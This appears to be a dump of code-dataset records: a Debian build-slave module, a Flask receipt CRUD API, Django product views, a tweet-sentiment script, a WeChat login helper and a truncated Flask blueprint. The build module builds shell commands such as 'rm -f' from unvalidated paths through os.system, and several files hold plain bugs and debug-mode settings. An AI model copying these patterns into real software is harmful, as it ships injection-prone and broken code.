refresh(self):\n try:\n info = self.proxy.info()\n except Exception as err:\n info = {}\n\n self.dists = info.get(\"dists\", [])\n self.arches = info.get(\"arches\", [])\n self.builders = info.get(\"builders\", [])\n\n def getFiles(self, files, basepath, id):\n self.uploading = True\n queue = FileWritingQueue()\n queue.drain = functools.partial(self.upload_done, id)\n for file in files:\n url = urlappend(self._file_cache_url, file)\n save = os.path.join(basepath, file)\n queue.push([url, save])\n\n def status(self):\n try:\n return self.proxy.status()\n except Exception as err:\n return {'builder_status': 'BuilderStatus.OFFLINE', 'error': err}\n\n def support(self, builder):\n if builder in self.builders:\n return True\n return False\n\n def build(self, buildid, builder, *args):\n raise NotImplementedError(\"Should be subclassed to be used\")\n\n def complete(self):\n raise NotImplementedError(\"Should be subclassed to be used\")\n\n def upload_done(self, *args):\n raise NotImplementedError(\"Should be subclassed to be used\")\n\n\nclass ShuttleDebianPackageSlave(ShuttleSlave):\n def upload_done(self, jobid):\n self.uploading = False\n self.proxy.clean()\n job = ShuttleJob.Job.selectBy(id=jobid)[0]\n package = job.package\n\n for _job in ShuttleJob.Job.selectBy(package=package):\n all_done = True\n if _job.status != JobStatus.BUILD_OK:\n all_done = False\n break\n if all_done:\n package.upload_status = UploadStatus.WAIT\n\n try:\n if ShuttleNotify().notify_method.get(\"bearychat\", None) is not None:\n if job.status != JobStatus.BUILD_OK:\n from ShuttleLog import DebianLogParser\n packageid = job.package.id\n resultdir = \"%s-%s\" % (job.dist, job.arch)\n basepath = os.path.join(self.cachedir, 'debian-package', str(packageid), resultdir)\n\n message = \"%(pkgname)s - %(pkgver)s to %(reponame)s with %(dist)s %(arch)s [Failed](http://10.0.10.32:5000/debian/job/%(id)s).\" % {\n \"reponame\": package.reponame,\n \"pkgname\": package.pkgname,\n \"pkgver\": package.pkgver,\n \"dist\": job.dist,\n \"arch\": job.arch,\n \"id\": job.id\n }\n attachments = {\n \"text\": DebianLogParser(basepath).parser_buildlog(),\n \"color\": \"#ffa500\"\n }\n ShuttleNotify().notify(\"bearychat\", message, message_attachments=[ attachments ])\n except Exception as e:\n print(e)\n pass\n\n\n def build(self, buildid, builder, name, version, dist, arch):\n files = [\"%s_%s.dsc\" % (name, version)]\n default_config = os.path.join(self.configdir, \"package\", \"default.json\")\n specify_config = os.path.join(self.configdir, \"package\", \"%s.json\" % name)\n if not os.path.exists(default_config):\n raise IOError(\"%s is not exists\" % default_config)\n\n extra_args = json.load(open(default_config, \"r\"))\n if os.path.exists(specify_config):\n extra_args.update(json.load(open(specify_config, \"r\")))\n\n job = ShuttleJob.Job.selectBy(id=buildid)[0]\n reponame = job.package.reponame\n binnmu = int(job.package.binnmu)\n\n #Support BINNMU version\n if binnmu != 0:\n extra_args['binnmu'] = \"yes\"\n extra_args['binnmu_version'] = binnmu\n dep_pkg = [ dep.pkgname for dep in job.package.deps ]\n extra_args['binnmu_message'] = \"Auto rebuild with package update: %s\" % \" \".join(dep_pkg)\n else:\n extra_args['binnmu'] = \"no\"\n\n repo_config = os.path.join(self.configdir, \"repo\", \"%s.json\" % reponame)\n if not os.path.exists(repo_config):\n job.status = JobStatus.CANCELED\n raise IOError(\"%s is not exists\" % repo_config)\n\n _config = json.load(open(repo_config, \"r\"))\n\n if extra_args.get('archives', None) is None:\n extra_args['archives'] = []\n\n repo_url = _config.get(\"url\", None)\n if repo_url:\n apt_line = \"deb %s %s main\" % (repo_url, dist)\n extra_args['archives'].append(apt_line)\n\n add_suffix = _config.get(\"add_suffix\", \"0\")\n if add_suffix == \"1\":\n extra_args['add_suffix'] = dist\n \n\n for apt_line in _config.get(\"archives\"):\n extra_args['archives'].append(apt_line.replace(\"distribution\", dist))\n\n #field = _config.get(\"base\")\n #pbuilder_cache = ShuttleConfig().get(\"build\", \"basetgz\")\n #if dist == 'experimental':\n # dist = 'unstable'\n #builder_json = os.path.join(pbuilder_cache, field, \"%s.%s.%s\" % (extra_args['builder'], dist, arch), \"result.json\")\n #if not os.path.exists(builder_json):\n # extra_args['builder'] = 'default'\n # builder_json = os.path.join(pbuilder_cache, field, 'default.%s.%s' % (dist, arch), \"result.json\")\n\n #try:\n # extra_args.update(json.load(open(builder_json,\"r\")))\n #except Exception as e:\n # job.status = JobStatus.GIVEUP\n # return False\n extra_args.update({'dist': dist, 'arch':arch, 'librarian': self.librarian})\n extra_args['basetgz'] = \"%s.%s\" % (dist, arch)\n extra_args['source_id'] = str(job.package.id)\n return self.proxy.build(buildid, builder, files, extra_args)\n\n def complete(self):\n status = self.proxy.status()\n files = []\n buildid = status.get(\"build_id\")\n job = ShuttleJob.Job.selectBy(id=buildid)[0]\n\n\n packageid = job.package.id\n resultdir = \"%s-%s\" % (job.dist, job.arch)\n\n results = status.get(\"filemap\", {})\n for file in results:\n files.append(file)\n basepath = os.path.join(self.cachedir, 'debian-package', str(packageid), resultdir)\n files.append('buildlog')\n d = self.getFiles(files=files, basepath=basepath, id=buildid)\n return d\n\nclass ShuttlePbuildImageSlave(ShuttleSlave):\n def upload_done(self, jobid):\n try:\n job = ShuttleJob.Pbuild.selectBy(id=jobid)[0]\n if job.status == PbuildStatus.BUILD_OK:\n new_path = os.path.join(self.cachedir, 'pbuilder', str(jobid))\n linkname = \"%s.%s.%s\" % (job.jobname, job.dist, job.arch)\n linkpath = os.path.join(ShuttleConfig().get(\"build\", \"basetgz\"), job.field, linkname)\n\n if not os.path.exists(os.path.dirname(linkpath)):\n os.makedirs(os.path.dirname(linkpath))\n\n if os.path.exists(linkpath) and os.path.islink(linkpath):\n old_path = os.path.realpath(linkpath)\n else:\n old_path = None\n\n os.system(\"rm -f %s\" % linkpath)\n os.system(\"ln -sf %s %s\" % (new_path, linkpath))\n # Remove some old archive to save disk space\n if old_path is not None:\n remove_item = [\"base.tgz\"]\n for item in remove_item:\n item_path = os.path.join(old_path, item)\n if os.path.exists(item_path):\n os.system(\"rm -f %s\" % item_path)\n finally:\n self.uploading = False\n self.proxy.clean()\n\n def build(self, buildid, builder, field, name, dist, arch):\n configdir = os.path.join(self.configdir, 'builder')\n config = \"%s.json\" % name\n if not os.path.exists(os.path.join(configdir, field, config)):\n job = ShuttleJob.Pbuild.selectBy(id=jobid)[0]\n job.status = PbuildStatus.CONFIG_FAILED\n raise OSError(\"%s not exists\" % config)\n\n librarian = urlappend(self.librarian, 'config/builder/%s' % field)\n\n extra_args = {'dist': dist, 'arch': arch, 'librarian': librarian}\n return self.proxy.build(buildid, builder, config, extra_args)\n\n def complete(self):\n status = self.proxy.status()\n files = []\n buildid = status.get(\"build_id\")\n job = ShuttleJob.Pbuild.selectBy(id=buildid)[0]\n\n results = status.get(\"filemap\", {})\n for file in results:\n files.append(file)\n files.append('buildlog')\n basepath = os.path.join(self.cachedir, 'pbuilder', str(job.id))\n d = self.getFiles(files=files, basepath=basepath, id=job.id)\n return d\n", "sub_path": "shuttle/ShuttleSlave.py", "file_name": "ShuttleSlave.py", "file_ext": "py", "file_size_in_byte": 13437, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urlparse.urljoin", "line_number": 27, "usage_type": "call"}, {"api_name": "xmlrpclib.Transport", "line_number": 29, "usage_type": "attribute"}, {"api_name": "xmlrpclib.Transport.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "xmlrpclib.Transport", "line_number": 33, "usage_type": "attribute"}, {"api_name": "xmlrpclib.Transport.make_connection", "line_number": 36, "usage_type": "call"}, {"api_name": "xmlrpclib.Transport", "line_number": 36, "usage_type": "attribute"}, {"api_name": "xmlrpclib.ServerProxy", "line_number": 41, "usage_type": "attribute"}, {"api_name": "xmlrpclib.ServerProxy.__init__", "line_number": 44, "usage_type": "call"}, {"api_name": "xmlrpclib.ServerProxy", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "twisted.web.client.downloadPage", "line_number": 59, "usage_type": "call"}, {"api_name": "twisted.web.client", "line_number": 59, "usage_type": "name"}, {"api_name": "twisted.internet.defer.Deferred", "line_number": 63, "usage_type": "call"}, {"api_name": "twisted.internet.defer", "line_number": 63, "usage_type": "name"}, {"api_name": "ConfigParser.ConfigParser", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "ShuttleConfig.ShuttleConfig", "line_number": 92, "usage_type": "call"}, {"api_name": "ConfigParser.ConfigParser.__init__", "line_number": 93, "usage_type": "call"}, {"api_name": "ConfigParser.ConfigParser", "line_number": 93, "usage_type": "attribute"}, {"api_name": "ShuttleConfig.ShuttleConfig", "line_number": 148, "usage_type": "call"}, {"api_name": "ShuttleConfig.ShuttleConfig", "line_number": 149, "usage_type": "call"}, {"api_name": "ShuttleConfig.ShuttleConfig", "line_number": 150, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "ShuttleJob.Job.selectBy", "line_number": 198, "usage_type": "call"}, {"api_name": "ShuttleJob.Job", "line_number": 198, "usage_type": "attribute"}, {"api_name": "ShuttleJob.Job.selectBy", "line_number": 201, "usage_type": "call"}, {"api_name": "ShuttleJob.Job", "line_number": 201, "usage_type": "attribute"}, {"api_name": "ShuttleJob.JobStatus.BUILD_OK", "line_number": 203, "usage_type": "attribute"}, {"api_name": "ShuttleJob.JobStatus", "line_number": 203, "usage_type": "name"}, {"api_name": "ShuttleJob.UploadStatus.WAIT", "line_number": 207, "usage_type": "attribute"}, {"api_name": "ShuttleJob.UploadStatus", "line_number": 207, "usage_type": "name"}, {"api_name": "ShuttleNotify.ShuttleNotify", "line_number": 210, "usage_type": "call"}, {"api_name": "ShuttleJob.JobStatus.BUILD_OK", "line_number": 211, "usage_type": "attribute"}, {"api_name": "ShuttleJob.JobStatus", "line_number": 211, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "ShuttleLog.DebianLogParser", "line_number": 226, "usage_type": "call"}, {"api_name": "ShuttleNotify.ShuttleNotify", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path", "line_number": 239, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path", "line_number": 243, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 244, "usage_type": "call"}, {"api_name": "ShuttleJob.Job.selectBy", "line_number": 246, "usage_type": "call"}, {"api_name": "ShuttleJob.Job", "line_number": 246, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "ShuttleJob.JobStatus.CANCELED", "line_number": 261, "usage_type": "attribute"}, {"api_name": "ShuttleJob.JobStatus", "line_number": 261, "usage_type": "name"}, {"api_name": "json.load", "line_number": 264, "usage_type": "call"}, {"api_name": "ShuttleJob.Job.selectBy", "line_number": 305, "usage_type": "call"}, {"api_name": "ShuttleJob.Job", "line_number": 305, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "ShuttleJob.Pbuild.selectBy", "line_number": 322, "usage_type": "call"}, {"api_name": "ShuttleJob.Pbuild", "line_number": 322, "usage_type": "attribute"}, {"api_name": "ShuttleJob.PbuildStatus.BUILD_OK", "line_number": 323, "usage_type": "attribute"}, {"api_name": "ShuttleJob.PbuildStatus", "line_number": 323, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 324, "usage_type": "call"}, {"api_name": "os.path", "line_number": 324, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "ShuttleConfig.ShuttleConfig", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 328, "usage_type": "call"}, {"api_name": "os.path", "line_number": 328, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 328, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 336, "usage_type": "call"}, {"api_name": "os.system", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path", "line_number": 342, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path", "line_number": 343, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 350, "usage_type": "call"}, {"api_name": "os.path", "line_number": 350, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path", "line_number": 352, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 352, "usage_type": "call"}, {"api_name": "ShuttleJob.Pbuild.selectBy", "line_number": 353, "usage_type": "call"}, {"api_name": "ShuttleJob.Pbuild", "line_number": 353, "usage_type": "attribute"}, {"api_name": "ShuttleJob.PbuildStatus.CONFIG_FAILED", "line_number": 354, "usage_type": "attribute"}, {"api_name": "ShuttleJob.PbuildStatus", "line_number": 354, "usage_type": "name"}, {"api_name": "ShuttleJob.Pbuild.selectBy", "line_number": 366, "usage_type": "call"}, {"api_name": "ShuttleJob.Pbuild", "line_number": 366, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 372, "usage_type": "call"}, {"api_name": "os.path", "line_number": 372, "usage_type": "attribute"}]} {"seq_id": "632358488", "text": "from flask import Flask, request, jsonify\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_marshmallow import Marshmallow\r\nimport os\r\n\r\napp = Flask(__name__)\r\nbasedir = os.path.abspath(os.path.dirname(__file__))\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'crud.sqlite')\r\ndb = SQLAlchemy(app)\r\nma = Marshmallow(app)\r\n\r\n\r\nclass Receipt(db.Model):\r\n receipt_id = db.Column(db.Integer, primary_key=True)\r\n country = db.Column(db.String(80))\r\n price = db.Column(db.Float)\r\n vat = db.Column(db.Float)\r\n receipt_file = db.Column(db.LargeBinary)\r\n\r\n def __init__(self, country, price, vat, receipt_file):\r\n self.country = country\r\n self.price = price\r\n self.vat = vat\r\n self.receipt_file = receipt_file\r\n\r\n\r\nclass ReceiptSchema(ma.Schema):\r\n class Meta:\r\n # Fields to expose\r\n fields = ('country', 'price', 'vat', 'receipt_file')\r\n\r\n\r\nreceipt_schema = ReceiptSchema()\r\nreceipts_schema = ReceiptSchema(many=True)\r\n\r\n\r\n# endpoint to create new\r\n@app.route(\"/receipt\", methods=[\"POST\"])\r\ndef add_receipt():\r\n country = request.json['country']\r\n price = request.json['price']\r\n vat = request.json['vat']\r\n receipt_file = request.json['receipt_file']\r\n\r\n new_receipt = Receipt(country, price, vat, receipt_file)\r\n\r\n db.session.add(new_receipt)\r\n db.session.commit()\r\n\r\n return jsonify(new_receipt)\r\n\r\n\r\n# endpoint to show all OKKKK\r\n@app.route(\"/receipt/list\", methods=[\"GET\"])\r\ndef get_receipt_list():\r\n all_receipt = Receipt.query.all()\r\n result = receipts_schema.dump(all_receipt)\r\n \"\"\" \r\n return jsonify(receipt_list = result.data)\r\n IF WORK BELOW, TRY THIS ONE \r\n \"\"\"\r\n return jsonify(result.data)\r\n\r\n\r\n# endpoint to get by id OKKKK\r\n@app.route(\"/receipt/\", methods=[\"GET\"])\r\ndef receipt_detail(id):\r\n receipt = Receipt.query.get(id)\r\n return receipts_schema.jsonify(receipt)\r\n\r\n\r\n# endpoint to update user\r\n@app.route(\"/receipt/\", methods=[\"PATCH\"])\r\ndef receipt_update(id):\r\n receipt = Receipt.query.get(id)\r\n country = request.json['country']\r\n price = request.json['price']\r\n vat = request.json['vat']\r\n receipt_file = request.json['receipt_file']\r\n\r\n receipt.country = country\r\n receipt.price = price\r\n receipt.vat = vat\r\n receipt.receipt_file = receipt_file\r\n\r\n db.session.commit()\r\n return receipt_schema.jsonify(receipt)\r\n\r\n\r\n# endpoint to delete user\r\n@app.route(\"/receipt/\", methods=[\"DELETE\"])\r\ndef receipt_delete(id):\r\n receipt = Receipt.query.get(id)\r\n db.session.delete(receipt)\r\n db.session.commit()\r\n\r\n return receipt_schema.jsonify(receipt)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)", "sub_path": "crud.py", "file_name": "crud.py", "file_ext": "py", "file_size_in_byte": 2718, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_marshmallow.Marshmallow", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}]} {"seq_id": "375299691", "text": "# -*- coding: utf-8 -*-\nfrom django.shortcuts import render_to_response\nfrom product.models import Product, Image, Product_type\nfrom django.core.paginator import Paginator\nfrom django.contrib import auth\n# Create your views here.\n\n\ndef products(request, page_number=1):\n all_products = Product.objects.all()\n current_page = Paginator(all_products, 6)\n args = {}\n args['products'] = current_page.page(page_number)\n args['images'] = Image.objects.all()\n args['username'] = auth.get_user(request).username\n return render_to_response('products.html', args)\n\n\ndef product(request, product_id=1, page_number=1):\n args = {}\n args['product'] = Product.objects.get(id=product_id)\n args['product_type'] = Product_type.objects.get(id=args['product'].product_type_id)\n # Тут на самом деле будет object.filter(), просто пока не знаю как в таком случае выводить картинки для товара\n args['images'] = Image.objects.get(product_id=product_id)\n args['username'] = auth.get_user(request).username\n return render_to_response('product.html', args)\n", "sub_path": "product/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1145, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "product.models.Product.objects.all", "line_number": 10, "usage_type": "call"}, {"api_name": "product.models.Product.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "product.models.Product", "line_number": 10, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 11, "usage_type": "call"}, {"api_name": "product.models.Image.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "product.models.Image.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "product.models.Image", "line_number": 14, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 16, "usage_type": "call"}, {"api_name": "product.models.Product.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "product.models.Product.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "product.models.Product", "line_number": 21, "usage_type": "name"}, {"api_name": "product.models.Product_type.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "product.models.Product_type.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "product.models.Product_type", "line_number": 22, "usage_type": "name"}, {"api_name": "product.models.Image.objects.get", "line_number": 24, "usage_type": "call"}, {"api_name": "product.models.Image.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "product.models.Image", "line_number": 24, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 25, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 26, "usage_type": "call"}]} {"seq_id": "485304672", "text": "'''\nIn this project, you will visualize the feelings and language used in a set of\nTweets. This starter code loads the appropriate libraries and the Twitter data you'll\nneed!\n'''\n\nimport json\nfrom textblob import TextBlob\nimport matplotlib.pyplot as plt\n\n#Get the JSON data\ntweetFile = open(\"TwitterData/tweets_small.json\", \"r\")\ntweetData = json.load(tweetFile)\ntweetFile.close()\n\n# Continue your program below! \ntweettext = []\ntweetstring = \"\"\nfor tweet in tweetData:\n tweetstring += tweet['text']\n\nfor tweet in tweetData:\n tweettext.append(tweet['text'])\nfirst = tweettext[10]\nprint(type(first))\n\nprint(tweetstring)\nblob_polarity = []\nfor blob in tweettext:\n b = TextBlob(blob)\n blob_polarity.append(b.polarity)\navg = sum(blob_polarity)/len(blob_polarity)\n\nblob_subjectivity = []\nfor blob in tweettext:\n blob_subjectivity.append(blob_subjectivity)\nworddict = {}\n\ntweetBlob = TextBlob(tweetstring)\nword_dict = {}\nfor word in tweetBlob.words:\n word_dict[word.lower()] = tweetBlob.word_counts[word.lower()]\nprint(word_dict)\n# Textblob sample:\ntb = TextBlob(\"You are a brilliant computer scientist.\")\nprint(tb.sentiment)\n\n\nplt.hist(blob_polarity, bins=[-1, -0.5, 0.0, 0.5, 1])\nplt.xlabel('Values')\nplt.ylabel('Number of Items')\nplt.title('Histogram of Numbers')\nplt.axis([-1.1, 1.1, 0, 100])\nplt.grid(True)\nplt.show()", "sub_path": "U2-Applications/U2.1-Data/data_vis_project_starter.py", "file_name": "data_vis_project_starter.py", "file_ext": "py", "file_size_in_byte": 1333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 30, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 39, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}]} {"seq_id": "330343896", "text": "# coding: utf-8\nimport datetime\nimport json\n\nimport requests\nfrom rest_framework import exceptions\nfrom StuSystem.settings import WX_SMART_PROGRAM\nfrom micro_service.service import AuthorizeServer\nfrom authentication.models import User, UserInfo\n\n\nclass WxSmartProgram:\n\n def __init__(self):\n self.appid = WX_SMART_PROGRAM['APP_ID']\n self.secret = WX_SMART_PROGRAM['APP_SECRET']\n\n def code_authorize(self, code):\n url = \"https://api.weixin.qq.com/sns/jscode2session\"\n params = {\n 'appid': self.appid,\n 'secret': self.secret,\n 'js_code': code,\n 'grant_type': 'authorization_code'\n }\n response = requests.get(url=url, params=params)\n if response.status_code != 200:\n raise exceptions.ValidationError('connecting wechat server error')\n res = response.json()\n # res = {'openid': 'oAKoA03ardxfbwr8gO-FCHnG11', \"session_key\": \"tiihtNczf5v6AKRyjwEUhQ==\"}\n if res.get('openid') and res.get('session_key') and res.get('unionid'):\n user = User.objects.filter(username=res['unionid']).first()\n if not user:\n user = User.objects.create(username=res['unionid'], role='STUDENT', s_openid=res['openid'], openid=None,\n unionid=res['unionid'])\n user.s_openid = res['openid']\n ticket = AuthorizeServer.create_ticket(user.id)\n user.last_login = datetime.datetime.now()\n user.save(update_fields=['s_openid', 'last_login'])\n user_info = UserInfo.objects.filter(user=user).first()\n if not user_info:\n user_info = UserInfo.objects.create(user=user, s_openid=res['openid'], unionid=res['unionid'], openid=None)\n user_info.s_openid = res['openid']\n user_info.save(update_fields=['s_openid'])\n return {'user_id': user.id, 'ticket': ticket}\n else:\n raise exceptions.ValidationError('wechat authorize error： %s' % json.dumps(res))\n\n\nWxSmartProgram = WxSmartProgram()", "sub_path": "StuSystem_test/StuSystem/micro_service/wx_smart_functions.py", "file_name": "wx_smart_functions.py", "file_ext": "py", "file_size_in_byte": 2082, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "StuSystem.settings.WX_SMART_PROGRAM", "line_number": 15, "usage_type": "name"}, {"api_name": "StuSystem.settings.WX_SMART_PROGRAM", "line_number": 16, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 28, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 28, "usage_type": "name"}, {"api_name": "authentication.models.User.objects.filter", "line_number": 32, "usage_type": "call"}, {"api_name": "authentication.models.User.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "authentication.models.User", "line_number": 32, "usage_type": "name"}, {"api_name": "authentication.models.User.objects.create", "line_number": 34, "usage_type": "call"}, {"api_name": "authentication.models.User.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "authentication.models.User", "line_number": 34, "usage_type": "name"}, {"api_name": "micro_service.service.AuthorizeServer.create_ticket", "line_number": 37, "usage_type": "call"}, {"api_name": "micro_service.service.AuthorizeServer", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "authentication.models.UserInfo.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "authentication.models.UserInfo.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "authentication.models.UserInfo", "line_number": 40, "usage_type": "name"}, {"api_name": "authentication.models.UserInfo.objects.create", "line_number": 42, "usage_type": "call"}, {"api_name": "authentication.models.UserInfo.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "authentication.models.UserInfo", "line_number": 42, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 47, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}]} {"seq_id": "426905262", "text": "\nimport json\nfrom functools import wraps\n\nfrom flask import abort, jsonify, make_response, request, Blueprint, Response\nfrom flask.views import MethodView\nfrom flask.ext.login import login_required\nfrom sqlalchemy.exc import SQLAlchemyError\n\nfrom pwryoursite import app, session\nfrom pwryoursite.forms.semester import NewSemesterForm, DeleteSemesterForm\nfrom pwryoursite.models import Semester\nfrom pwryoursite.controllers.authentication import 